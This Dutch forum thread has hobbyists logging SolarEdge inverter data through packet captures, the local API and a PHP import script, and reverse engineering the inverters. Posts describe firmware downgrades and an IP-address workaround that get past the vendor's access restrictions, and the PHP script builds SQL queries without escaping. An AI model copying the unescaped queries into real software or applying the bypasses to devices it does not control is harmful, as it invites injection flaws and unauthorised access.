Dan ga ik maar de solaredge-local aan de slag. Mooi moment om eens met python te gaan stoeien. Nog nooit eerder gebruikt.
Iemand heeft er al een keer een script voor gemaakt https://gitlab.com/snippets/1853864#L9

Ik heb er vervolgens nog een docker container van gemaakt https://hub.docker.com/r/maartenvana/solaredge-to-influxdb

Enige nadeel is dat het script één a twee keer per dag nog crasht omdat de foutafhandeling niet afdoende is. Met de docker container op --restart=always herstart ie automatisch en is het nog niet nodig geweest dit te fixen, maar wees vrij om een pull request in te dienen indien je dit wel voor elkaar krijgt :P ik heb er nog geen tijd voor gehad.

Het wordt denk ik ook tijd dat de openings post een beetje opgeschoond wordt. Met de nieuwe omvormers is er geen afluisteren meer mogelijk. @Jerrythafast Misschien een goed idee oud vs nieuw te beschrijven in de topic start?

Acties:
  • +1Henk 'm!

  • Rolfie
  • Registratie: oktober 2003
  • Laatst online: 07:34
Strykeforce schreef op dinsdag 30 juli 2019 @ 07:30:
Het wordt denk ik ook tijd dat de openings post een beetje opgeschoond wordt. Met de nieuwe omvormers is er geen afluisteren meer mogelijk. @Jerrythafast Misschien een goed idee oud vs nieuw te beschrijven in de topic start?
Ik denk dat dit zeker een goede / positieve kan zijn. Of een nieuw topic, of er duidelijker in vermelden dat het in de nieuwe solaredge niet meer mogelijk is om het op deze manier te doen.

Want om er na 64 pagina's achter te komen, dat het huidige script, met de nieuwste versies van solaredge niet meer mogelijk is, is wat jammer voor toekomstige gebruikers.

  • Jerrythafast
  • Registratie: september 2012
  • Laatst online: 13-10 08:56
Strykeforce schreef op dinsdag 30 juli 2019 @ 07:30:
Het wordt denk ik ook tijd dat de openings post een beetje opgeschoond wordt. Met de nieuwe omvormers is er geen afluisteren meer mogelijk. @Jerrythafast Misschien een goed idee oud vs nieuw te beschrijven in de topic start?
Ik ben ervoor om de OP aan te passen zodat er een duidelijke scheiding is tussen SetApp en oudere omvormers. Ik had het al een beetje aangepast zodat erbij staat dat de huidige OP niet voor SetApp omvormers gaat werken maar mij ontbreekt nog het overzicht van wat er dan precies wél mogelijk is. Dus als iemand daar een volledive handleiding voor kan aanleveren maak ik er graag een co-auteurschap van om de OP voor iedereen nuttig te maken ;) Aan degene die dat op zich kan en wil nemen: stuur even een persoonlijk berichtje!

2925 Wp op SE3000 live op PVOutput en Jerweb.nl || Nu ook De Triangel 3020 Wp (live logging in aanbouw)


  • Jerrythafast
  • Registratie: september 2012
  • Laatst online: 13-10 08:56
Ik heb een nieuwe versie van se-logger op GitHub gezet. Nieuw in deze versie is ook dat de instellingen die voorheen in liveupdate.py stonden, in een apart bestand config.py moeten worden gezet. (Dat is nu nog één keer vervelend met updaten, maar in het vervolg heb je er met nieuwe updates geen omkijken meer naar.)

2925 Wp op SE3000 live op PVOutput en Jerweb.nl || Nu ook De Triangel 3020 Wp (live logging in aanbouw)


  • gertm
  • Registratie: september 2010
  • Laatst online: 23-08 14:27
Ik heb mijn code ook op GitHub (https://github.com/debrigand/Solaredge-monitoring) gezet. Ik heb gebruik gemaakt van solaredge-local - en dus werkt de code uitsluitend voor omvormers met SetApp. Voorlopig(?) ook alleen voor enkelfasige omvormer. En de data wordt in een databank opgeslagen, maar er wordt nog niets naar PVoutput gestuurd. Er is dus nog wel wat werk aan de winkel, maar ik zie alvast een hoop cijfertjes in MariaDB binnenstromen.

  • Rufan
  • Registratie: juni 2019
  • Laatst online: 01-09 09:41
Heren ik heb een probleempje, ik krijg geen juiste data in de PCAP, dus ook niet in de database.

Info van de opstelling:
SolarEdge SE5K 3~fase met Display omvormer (IP: 192.168.1.57/24)
Raspberry Pi (ubuntu met se-logger en amrij website) (IP: 192.168.1.58/24)
Bijde devices zijn verbonden met een Mikrotik RB4011iGS+5HacQ2HnD-IN Router.
Port mirroring, mirror source: SolarEdge , target source: RPi

Instellingen:
se-logger-service.sh
/usr/bin/stdbuf -i0 -o0 -e0 /usr/sbin/tcpdump -i $INTERFACE -U -w - -n host 192.168.1.57 2>>{CAPTDIR}tcpdump.log | \

Logs:
tcpdump.log
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

Liveupdate.log
Reading from –

PCAP:
Over een dag genomen groeit de pcap maar 9kb.
Onderstaande patroon kan ik ook niet terug vinden in de .pcap
12 34 56 79 xx xx xx xx xx xx xx xx xx xx xx xx xx xx 3d 00

Is er iets wat jullie opvalt wat ik wellicht fout doe.
Wat zou ik nog meer kunnen aanpassen/ testen om het probleem beter te kunnen analyseren en oplossen.


PS. Ik heb het opgelost, foutje gemaakt in settings van port mirroring.

Rufan wijzigde deze reactie 20-08-2019 06:33 (5%)


  • andrerij
  • Registratie: april 2017
  • Laatst online: 11-10 21:11
Ik heb het importscript aangepast voor zowel 1 fase als 3 fase inverters.
Het haal de data van Solar-Edge api site en plaatst het in de solaredge database.

Onderstaand het aangepaste script.

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
$date1 = strtotime(sprintf("%s 00:00:00",$_GET["date1"]));    // Unix timestamps in seconds begin dag
$date2 = strtotime(sprintf("%s 00:00:00",$_GET["date2"]));  // Unix timestamps in seconds eind dag

include('config.php');

function flush_buffers($echo){
    echo $echo;
    ob_end_flush(); 
    ob_flush(); 
    flush(); 
    ob_start(); 
} 

//  eigen siteID, inverterID en apiKey invullen
$siteID = '<siteID>';
$inverterID = '<inverterID>';
$apiKey = '<apiKey>';
$table = $inverter == 1 ? "telemetry_inverter" : "telemetry_inverter_3phase";

$mysqli = new mysqli($host, $user, $passwd, $db, $port);
$query = sprintf("SELECT e_total FROM %s WHERE timestamp > '%s' and timestamp < '%s' ORDER BY timestamp DESC LIMIT 1", $table, $date1-86400, $date1);
$result = $mysqli->query($query);
$row = mysqli_fetch_assoc($result);
$e_total = $row['e_total'];

flush_buffers('Begin ...<br />');

$date = $date1;
while($date <= $date2){
    flush_buffers(date("Y-m-d H:i:s", $date) . "<br>");
    $datum_1 = date('Y-m-d%20H:i:s',$date);
    $datum_2 = date('Y-m-d%20H:i:s',$date+86400);
    $de_day = 0;
    $e_day = 0;
    $file = sprintf('https://monitoringapi.solaredge.com/equipment/%s/%s/data.json?startTime=%s&endTime=%s&api_key=%s',$siteID, $inverterID, $datum_1, $datum_2, $apiKey); 
    $str = file_get_contents($file);
    $json = json_decode($str, true);
    $count = $json['data']['count'];
    flush_buffers('Aantal records: ' . $count . '<br>');
    $i=0;
    while($i < $count){
        if ($json['data']['telemetries'][$i]['totalEnergy'] > 0){
            $de_day = $json['data']['telemetries'][$i]['totalEnergy'] - $e_total;
            $e_day += $de_day;
            $e_total = $json['data']['telemetries'][$i]['totalEnergy'];     
            //  '1 OFF, 2 SLEEPING, 3 STARTING, 4 MPPT, 5 THROTTLED, 6 SHUTTING_DOWN, 8 STANDBY'
            $modeasc= $json['data']['telemetries'][$i]['inverterMode'];
            $mode = 1;
            if ( $modeasc == 'OFF' ) { $mode=1;}
            if ( $modeasc == 'SLEEPING' ) { $mode=2;}
            if ( $modeasc == 'STARTING' ) { $mode=3;}
            if ( $modeasc == 'MPPT' ) { $mode=4;}
            if ( $modeasc == 'THROTTLED' ) { $mode=5;}
            if ( $modeasc == 'SHUTTING_DOWN' ) { $mode=6;}
            if ( $modeasc == 'STANDBY' ) { $mode=8;}

            if ( $inverter == 1 ){
                $query = sprintf("INSERT INTO telemetry_inverter (inv_id, timestamp, temperature, e_day, de_day, v_ac, i_ac, frequency, v_dc, e_total, i_rcd, mode, p_active, p_apparent, p_reactive)values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')", 
                                $inverterID, strtotime($json['data']['telemetries'][$i]['date']), $json['data']['telemetries'][$i]['temperature'], $e_day, $de_day, $json['data']['telemetries'][$i]['L1Data']['acVoltage'],  
                                $json['data']['telemetries'][$i]['L1Data']['acCurrent'], $json['data']['telemetries'][$i]['L1Data']['acFrequency'], $json['data']['telemetries'][$i]['dcVoltage'], $json['data']['telemetries'][$i]['totalEnergy'], '0.004', $mode,  
                                $json['data']['telemetries'][$i]['L1Data']['activePower'], $json['data']['telemetries'][$i]['L1Data']['apparentPower'], $json['data']['telemetries'][$i]['L1Data']['reactivePower']);
            } else {
                $query = sprintf("INSERT INTO telemetry_inverter_3phase (inv_id, timestamp, temperature, e_day, de_day, v_ac1, v_ac2, v_ac3, i_ac1, i_ac2, i_ac3, frequency1, frequency2, frequency3, v_dc, e_total, i_rcd, mode, v_1to2, v_2to3, v_3to1, p_active1, p_active2, p_active3, p_apparent1, p_apparent2, p_apparent3, p_reactive1, p_reactive2, p_reactive3 )values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')", 
                                $inverterID, strtotime($json['data']['telemetries'][$i]['date']),$json['data']['telemetries'][$i]['temperature'], $e_day, $de_day, $json['data']['telemetries'][$i]['L1Data']['acVoltage'],  
                                $json['data']['telemetries'][$i]['L2Data']['acVoltage'], $json['data']['telemetries'][$i]['L3Data']['acVoltage'], $json['data']['telemetries'][$i]['L1Data']['acCurrent'], $json['data']['telemetries'][$i]['L2Data']['acCurrent'], $json['data']['telemetries'][$i]['L3Data']['acCurrent'], $json['data']['telemetries'][$i]['L1Data']['acFrequency'], $json['data']['telemetries'][$i]['L2Data']['acFrequency'], $json['data']['telemetries'][$i]['L3Data']['acFrequency'], $json['data']['telemetries'][$i]['dcVoltage'], $json['data']['telemetries'][$i]['totalEnergy'], '0.004', $mode, $json['data']['telemetries'][$i]['vL1To2'], $json['data']['telemetries'][$i]['vL2To3'], $json['data']['telemetries'][$i]['vL3To1'],
                                $json['data']['telemetries'][$i]['L1Data']['activePower'], $json['data']['telemetries'][$i]['L2Data']['activePower'], $json['data']['telemetries'][$i]['L3Data']['activePower'], $json['data']['telemetries'][$i]['L1Data']['apparentPower'], $json['data']['telemetries'][$i]['L2Data']['apparentPower'], $json['data']['telemetries'][$i]['L3Data']['apparentPower'], $json['data']['telemetries'][$i]['L1Data']['reactivePower'], $json['data']['telemetries'][$i]['L2Data']['reactivePower'], $json['data']['telemetries'][$i]['L3Data']['reactivePower']);
            }
            $result = $mysqli->query($query);   
        }
        $i +=1;
    }
    $date += 86400;
}

flush_buffers('... End<br />');

$thread_id = $mysqli->thread_id;
$mysqli->kill($thread_id);
$mysqli->close();
?>



Het moet in dezelfde directory waarin ook config.php staat gezet worden.
Het kan als volgt worden aangeroepen indien het programma import_inverter_data.php wordt genoemd:


code:
1
..../import_inverter_data.php?date1=2019-08-21&date2=2019-08-23



De bovenstaande aanroep geeft de inverter data voor 21-8-2019 t/m 23-8-2019

Om timeout fouten te voorkomen is het aan te bevelen om niet meer dan 7 dagen tegelijkertijd op te halen.

  • andrerij
  • Registratie: april 2017
  • Laatst online: 11-10 21:11
Flipje1955 schreef op donderdag 29 augustus 2019 @ 14:39:
hallo allemaal....ergens in deze stream raak ik spoor kwijt of wat hier besproken wordt aansluit bij wat ik zoek, te weten: kan ik uit een bestaande SolarEdge installatie (17 Qcells-325pW met S-E Power Optimizers) méér data halen dan ik kan zien via de generieke S-E Portal. Zoals bijv. de temperatuur van een P-O.

met dank !
Je kunt onderaan in deze post zien welke data er getoond/opgeslagen wordt. Door op het plaatje te klikken wordt het leesbaar.

  • lolle1212
  • Registratie: juni 2011
  • Laatst online: 14-10 10:51
@ZwarteIJsvogel Ik heb met 2.2.2 (ipv huidige 2.3.2) ingelogd op een oude telefoon.

https://www.dropbox.com/s...Ap2.2.2Firmwares.zip?dl=0

Zie hier de firmware files. (De app download voor alle solaredge inverters firmware)

Voor mijn omvormer (SE4000H uit NL) zie ik de volgende 3 .spff files

SE4000H-NL000BGN4.ECO-13835.SW-PN-00706
SE4000H-NL000BNN4.ECO-13835.SW-PN-00690
SE4000H-NL000BWN4.ECO-13835.SW-PN-00710


De vraag is natuurlijk of dit 3 verschillende firmware versies zijn, of dat ze bedoelt zijn voor verschillende varianten van de SE4000H.. (Verder lijken me het extreem kleine files voor firmware?)

ik heb PN-00690 gepoogd te laden met een USB stick, maar dat doet niks. (EDIT: ik zie wel dat er op de usb een lege spff folder is aangemaakt en dat er een in de root naast de geplaatste .spff een gelijkname .state is gemaakt. (0bytes, lege file)

EDIT2:

Met de firmware file van version4.4.67.spff is downgrade wel succesvol naar 4.67 en werkt vervolgens de local API!

Weet iemand wat de changelog is sinds 4.4.67? Mis ik iets belangrijks? Liefst ga ik natuurlijk naar 4.5.x waar local api ook nog werkte maar ik weet niet hoe. (mIJN dsp versies zijn niet gedowngrade, alleen CPU is nu 4.4.67, DSP1 is nog steeds 1.0.756 en dsp2 is nog steeds 2.0.704. WSA versie was 1.2.9 en wordt nu niet weergegeven.

lolle1212 wijzigde deze reactie 15-09-2019 21:46 (40%)
Reden: toevoeging over kleine files


  • lolle1212
  • Registratie: juni 2011
  • Laatst online: 14-10 10:51
ZwarteIJsvogel schreef op maandag 16 september 2019 @ 06:55:
Dank voor het goede werk! Die kleine bestandjes hebben voor zover ik weet iets te maken met het activeren van een omvormer. Ze zijn zoals je kunt zien modelspecifiek. De firmware files voor het besturingsbord waar de UI op draait (genaamd Portia), staan er inderdaad niet bij. De naam zou Version_X_Y_Z.spff moeten zijn en de grootte ca. 23 MB. Ik zie wel de andere bestanden (voor bv. DSP1 en DSP2). Vreemd. Ik zou overigens voorzichtig zijn met het posten van zo'n dropboxlink.
Ik heb de firmeware file (+-25mb) gevonden: EDIT: Linkjes heb ik verwijderd, op verzoek (PM) kan ik wel linkjes leveren voor 4.16.24/.27 of 4.7.17. De linkjes zelf a.u.b. niet verder verspreiden.

Dit is dus de recente firmware waarin localAPI gesloopt is.

(Wat voor file share raad je dan aan? tweakers ondersteunt geen bijlage voor zover ik kan zien)

Maar het punt is dus dat de SetApp altijd de laatste versie download, want deze file is gedownload met 2.2.2 maar bevat dus de firmware zoals je die ook met 2.3.2 zou laden. (Oudere app ook geprobeerd maar die doet het niet meer, zegt dat de app te oud is. (2.2.2 is nog geeft melding dat binnen 14 dagen de app moet zijn geupdate dus wss binnenkort hetzelfde.)

Verder is dit de changelog van 4.5.41 (versie hierna is de huidige 4.6.24 met als verbetering (ability to connect the inverter's Wi-Fi station to SetApp and wireless router simultaneously.)

New Features & Enhancements 4.5.41

Improved inverter's Wi-Fi connection stability and reliability for both SetApp and connection to the monitoring platform (For Europe, Australia, Africa, and Asia):
Improved time to connect inverter to server (s_OK)
Improved compatibility to routers from various manufacturers
Ability to connect to iOS smartphone access point (hot spot)
Accepting all SSID and password format including special characters
New View Only SetApp mode that provides inspectors a fast and easy access to view all required inverter’s statuses and settings without requiring app credentials. No changes to the inverter configuration can be made in this mode.
Support systems with StorEdge interface and LG Chem high-voltage batteries (not including battery self-test feature); for Europe, Australia, and Africa.
Smart Energy products connection including devices prioritization
Improved support for latest RFG regulation for VDE 4105, VDE 4110 for Europe
The serial number of a SolarEdge meter (including RGM) is now displayed in the SetApp Status screen and can be easily accessed for the inspection process.
New Languages support:
Traditional Chinese
Korean
Added new country codes to inverter country codes list:
Hong Kong Electric (175)
Uruguay (176)
Italy A68 (177)

Lijkt dus niet heel schokkend wat je mist met 4.4.67 interessante is ook dat je wel de DSP1 & 2 versies behoudt van de recentste firmware. (En dus miss ook een deel van de changes..?) Alleen WSA versie kon je bij de oudere niet zien en wordt dus niet getoond. (Geen idee wat het is)

lolle1212 wijzigde deze reactie 21-09-2019 18:14 (46%)


  • ZwarteIJsvogel
  • Registratie: juni 2008
  • Laatst online: 03-10 11:58
Een snelle blik leert dat SolarEdge in 4.6.24 de toegang tot de HTTP-services heeft beperkt. Dit is niet verwonderlijk, en eerlijk gezegd ook wenselijk, aangezien er geen enkele authenticatie op die services zit (dat was nota bene één van mijn zorgpunten).

Voorlopige resulaten:
  • De Web UI op poort 8080 is alleen toegankelijk op IP-adres 172.16.0.1 (het IP-adres van de omvormer op het ingebouwde WiFi AP).
  • De REST-api en de Web SetApp Javascript UI op poort 80 zijn alleen toegankelijk vanaf 172.16.0/24 IP-adressen (daarom werkt SetApp wel via het ingebouwde WiFi AP).
  • Genoemde restricties gelden niet als de omvormer in debug mode draait. Voor debug mode is een speciaal SPFF-bestandje nodig dat maar 24 uur geldig is. Zo'n bestandje is niet zelf te maken aangezien er een digitale handtekening op zit. De debug mode zelf lijkt ook maar tijdelijk.
De enige route die ik nog zie om toch weer toegang te krijgen tot de HTTP-services is te proberen om de SolarEdge op je LAN via DHCP een 172.16.0/24 IP-adres te geven. Ik kan niet direct iets vinden wat dat verhindert. Het levert uiteraard wel een conflict op met het ingebouwde WiFi AP, maar wellicht werkt het als dat AP uit staat (wat vanzelf gebeurt na 5 minuten inactiviteit). Uiteraard is het, als het al werkt, geen frisse oplossing.

Het is goed om te weten dat een downgrade naar 4.4.67 straffeloos mogelijk is (of liever nog 4.5.41 als iemand daar de hand op weet te leggen).

Het moge duidelijk zijn dat al deze fratsen niet nodig zouden zijn als SolarEdge de optimizer data ook via modbus beschikbaar zou maken. Dan was er voor een goede lokale monitoring alles aan boord wat je nodig hebt.

Edit: Ik laat het hier even bij. Zodra mijn SolarEdge up and running is, ga ik eens kijken wat via modbus mogelijk is (het is een kleine kans, maar misschien zijn er aan dat front positieve ontwikkelingen).

ZwarteIJsvogel wijzigde deze reactie 16-09-2019 11:03 (5%)

"There is no Engineering like Reverse Engineering"


  • ocaj
  • Registratie: juli 2011
  • Niet online
Kunnen de nieuwe omvormers via RS485 behalve het Sunspec-protocol, nog wel het Solaredge-master/slave protcol gebruiken? Daar zit de optimizer-data wel bij.

Dat Solardege protocol is bedoeld om als je meerdere omvormers hebt er 1 als master in te stellen en de rest als slave. De slaves geven alles door aan de master en de master praat dan met de solaredge-portal.

De jbuehl-software simuleert een master-omvormer op de RS485-bus, waardoor je omvormer alles braaf doorgeeft. Gewoon zonder encryptie of gedoe. Werkt hier al 4,5 jaar zo (maar mijn omvormer hangt niet aan internet en krijgt dus zeker nooit updates).
Enige nadeel is dat het alleen op 115200 baud werkt, dat gaat met 9 meter kabel nog wel eens mis. Protocol is echter robuust, en data wordt de volgende keer alsnog opgestuurd. Ik ben nog nooit data kwijt geraakt.

  • Jerrythafast
  • Registratie: september 2012
  • Laatst online: 13-10 08:56
Tomba schreef op donderdag 19 september 2019 @ 11:32:
[...]

Bij het migreren van Raspberry naar een Ubuntu machine viel het mij op dat je script de UFW firewall uitschakelt. Heb dit opgelost door:

code:
1
ufw --force enable


toe te voegen aan het einde van se-nat.sh en (voor de zekerheid) ufw uit te schakelen op de interface waar de Solar Edge aan hangt;

code:
1
ufw allow in on eth2


en alles werkt nu. Rest mij wel de vraag waarom het script de firewall precies uitschakelt, @Jerrythafast kun je me dat verklappen?
Ik heb geen idee, dat script is een copy-and-paste van de Ubuntu website geweest. Wat is het effect van het al dan niet enabled zijn van ufw, en waar in het script wordt dit uitgezet? In principe klinkt het niet echt als de bedoeling om "de firewall" uit te zetten.
Kees-Jan schreef op zaterdag 21 september 2019 @ 13:44:
[...]

Ik heb contact opgenomen met SolarEdge support.
Zij kunnen, zonder dat je een port-forward /NAT regel in je modem hebt ingesteld, gewoon in je omvormer kijken. Dus de sessie die de counters update op het SolarEdge portaal kan ook gebruikt worden voor remote support... :P
Klopt, ik heb daar nog een leuke anekdote over. Behalve de telemetrie kunnen er inderdaad nog allerlei andere pakketjes over die verbinding verzonden worden, zoals "lees display uit" (waarna de letterlijke tekst zoals die op het display staat wordt teruggestuurd), "druk op het knopje" (waarmee het indrukken van de knop op de onderkant van de omvormer wordt gesimuleerd, om naar het volgende menu te gaan), "start pairing" (waarmee de omvormer in pairing-modus gaat), enzovoort. Op een dag was het display van de SE3000 een eigen leven gaan leiden (ging overdag niet meer aan, en 's nachts bleef hij fel verlicht, stond geen tekst meer op). Na contact met de installateur gingen zij de omvormer uitlezen, updaten, rebooten etc. en dat verkeer kwam natuurlijk in de pcap files te staan hier. Ik was wel nieuwsgierig wat zij op het display konden lezen (het fysieke display deed het immers niet meer) en ging in de pcap files spitten. De genoemde commando's werkten allemaal gewoon, maar bij "lees display uit" kwam er als antwoord allemaal gibberish naar boven :9

2925 Wp op SE3000 live op PVOutput en Jerweb.nl || Nu ook De Triangel 3020 Wp (live logging in aanbouw)


  • ZwarteIJsvogel
  • Registratie: juni 2008
  • Laatst online: 03-10 11:58
Jerrythafast schreef op woensdag 25 september 2019 @ 12:55:
Behalve de telemetrie kunnen er inderdaad nog allerlei andere pakketjes over die verbinding verzonden worden, zoals "lees display uit" (waarna de letterlijke tekst zoals die op het display staat wordt teruggestuurd), "druk op het knopje" (waarmee het indrukken van de knop op de onderkant van de omvormer wordt gesimuleerd, om naar het volgende menu te gaan), "start pairing" (waarmee de omvormer in pairing-modus gaat), enzovoort.
Er zijn nog veel meer soorten pakketjes. Natuurlijk erg handig voor remote support. Maar ook een enorm risico: als de monitoring service van SolarEdge wordt gehackt (*), dan kunnen PV-installaties wereldwijd worden ontregeld. Eigenlijk een reden te meer om je omvormer niet aan het internet te hangen.

(*) Anno 2019 is het niet de vraag of dit een keer gebeurt, maar wanneer. Al verwacht ik dat de security bij een Israëlisch bedrijf beter dan gemiddeld zal zijn geregeld. De monitoring servers (prod.solaredge.com resp. prodssl.solaredge.com) staan zo te zien in Duitsland.

"There is no Engineering like Reverse Engineering"

Pagina: 1 2 3


Apple iPhone 11 Nintendo Switch Lite LG OLED C9 Google Pixel 4 FIFA 20 Samsung Galaxy S10 Sony PlayStation 5 Elektrische auto

'14 '15 '16 '17 2018

Tweakers vormt samen met Hardware Info, AutoTrack, Gaspedaal.nl, Nationale Vacaturebank, Intermediair en Independer DPG Online Services B.V.
Alle rechten voorbehouden © 1998 - 2019 Hosting door True